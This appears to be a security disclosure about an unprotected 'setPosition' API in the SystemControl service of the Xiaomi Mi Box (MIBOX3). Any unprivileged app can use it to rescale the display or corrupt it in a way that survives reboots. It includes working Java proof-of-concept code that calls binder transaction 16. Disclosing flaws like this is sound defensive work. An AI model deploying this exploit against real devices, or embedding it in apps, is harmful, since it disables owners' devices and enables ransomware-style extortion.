I would like to report a security vulnerability in Xiaomi Mi Box (model: MIBOX3, build.id : MHC19).
The vulnerability allows rescaling and corrupting the display without any privilege requirement, thus creating an opportunity for a non-privilege malicious app to disable the basic functionalities that the TV box is offering or can even be used for ransomeware purpose - e.g., each time a target streaming app is launched, the malicious app can corrupt the display.
This vulnerability is due to the following:
Xiaomi introduces a (non-protected) custom API in the SystemControl system service ¡°setPosition¡± which takes as arguments 4 integers. Once invoked with maliciously set parameters, the system display will be effected; e.g., (500, 500, 1000,1000) for rescaling the display and (1000,1000,1000,1000) for corrupting the display. Note that the display corruption will be persistent across reboots, making it very difficult to be fixed without a hard reset.
We can exploit this API as follows:
Class ServiceManager = Class.forName("android.os.ServiceManager");
Method getService = ServiceManager.getMethod("getService", String.class);
mRemote = (IBinder) getService.invoke(null,"system_control");
Parcel localParcel1 = Parcel.obtain();
Parcel localParcel2 = Parcel.obtain();
localParcel1.writeInterfaceToken("droidlogic.ISystemControlService");
localParcel1.writeInt(500);
localParcel1.writeInt(500);
localParcel1.writeInt(1000);
localParcel1.writeInt(1000);
mRemote.transact(16, localParcel1, localParcel2, 0); // 16 corresponds to the API setPosition
localParcel2.recycle();
localParcel1.recycle();
